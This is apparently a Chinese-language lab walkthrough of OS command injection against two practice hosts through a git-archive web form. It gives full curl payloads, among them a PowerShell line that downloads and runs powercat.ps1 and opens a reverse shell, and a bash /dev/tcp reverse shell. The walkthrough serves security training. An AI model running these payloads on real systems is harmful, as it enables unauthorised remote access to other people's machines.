操作系統命令注入攻擊(1)
操作系統命令注入攻擊(1)
靶機 1 IP : 192.168.203.189
攻擊端主機 IP : 192.168.45.250
rustscan 一下,是一台 Windows
80 Port 開起來是 XAMPP
8000 Port 開起來是個支援線上 GIT Clone 備份的網站,所以看來是個命令注入攻擊的欄位
隨便打一個 git clone http://127.0.0.1/123.zip 再送到 Burp Suite 的 Repeater
執行結果是 HTTP 200 但有 Error, Error 看來是那個 http://127.0.0.1/123.zip 的關係
ipconfig 一下發現回應 Command Injection detected
單獨下 git 看看,發現輸出有 git 的 help 說明,表示網頁一定要用 git 開頭
前面有發現是 XAMPP 所以知道是 Windows 伺服器,若不是 XAMPP 架設的網站
可以透過 git version 測試看看是 Linux or Windows(Windows 版的會寫 Windows)
這次透過 curl 來測試看看,指令如下
└─$ curl -X POST --data 'Archive=git version' http://192.168.203.189:8000/archive
那就開始試試看最常用的命令注入分接方式,亦即在指令後面接 ;、&、&&、|、etc...
這些常用的試試看,但因為是網頁輸入所以要轉一下 URL Encode
從 URL Encode 測試如下圖,可以得知轉換的語法為
; = %3B、&=%26、&&=%26%26、|=%7C
3B
那就一個一個測試看看吧,結果第一個 ;(%3B)就中獎
curl 指令 └─$ curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.203.189:8000/archive
因為是 Windows 主機,所以我要知道執行指令的用 cmd or powershell
這時候可以透過這一行指令測試 (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
接著透過 curl 再送一次,指令如下
curl -X POST --data 'Archive=git%3B%28dir%202%3E%261%20%2A%60%7Cecho%20CMD%29%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.203.189:8000/archive
由於前面我們得知網頁 git clone 後面可以直接接線上的 URL
所以我們將在攻擊端主機建立一個 PowerShell 後門讓對方主機透過網路來抓取
首先先將 Kali 內建的 PowerShell 攻擊程式碼複製到現有 Terminal 路徑
指令 : └─$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
攻擊端起 HTTP Server,指令 └─$ python3 -m http.server 80
瀏覽器測試一下 http://127.0.0.1,確認沒問題也能看到檔案
接著透過 nc 起 4444 端口 listen 準備接 Remote Shell
在攻擊端的 Web 服務器提供 powercat.ps1 檔案和利用 Netcat 偵聽 4444 Port 後,現在可以使用 curl 來注入以下命令,由分號分隔的兩部分組成。
第一部分使用 PowerShell 下載攻擊端 Web 服務器上的 powercat.ps1 腳本,當中包含 Powercat 函數。第二個命令使用 Powercat 函數創建帶有以下參數的反向 shell:-c 指定連接位置,-p 指定端口,-e 執行程序。
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.250/powercat.ps1");powercat -c 192.168.45.250 -p 4444 -e powershell
一樣記得要先將指令碼轉 URL Encode
IEX%20%28New-Object%20System.Net.Webclient%29.DownloadString%28%22http%3A%2F%2F192.168.45.250%2Fpowercat.ps1%22%29%3Bpowercat%20-c%20192.168.45.250%20-p%204444%20-e%20powershell%20
curl 下去吧
└─$ curl -X POST --data 'Archive=git%3BIEX%20%28New-Object%20System.Net.Webclient%29.DownloadString%28%22http%3A%2F%2F192.168.45.250%2Fpowercat.ps1%22%29%3Bpowercat%20-c%20192.168.45.250%20-p%204444%20-e%20powershell%20' http://192.168.203.189:8000/archive
Listen 的 4444 Port 進來了
瀏覽到桌面發現答案,type 一下拿答案吧
靶機 2 : linux 主機
環境一樣,本次直接透過命令注入連線 reverse shell,一樣建立好 4444 listen
讓目標主機去執行此指令 bash -c "bash -i >& /dev/tcp/192.168.45.250/4444 0>&1"
記得一樣先 URL Encode 為
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.250%2F4444%200%3E%261%22
透過 Burp Suite 注入這一段,或是 curl 跑
curl -X POST --data 'Archive=git%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.250%2F4444%200%3E%261%22' http://192.168.203.16/archive
4444 port 就進來了,記得 sudo su 一下就可以拿檔案了
留言
張貼留言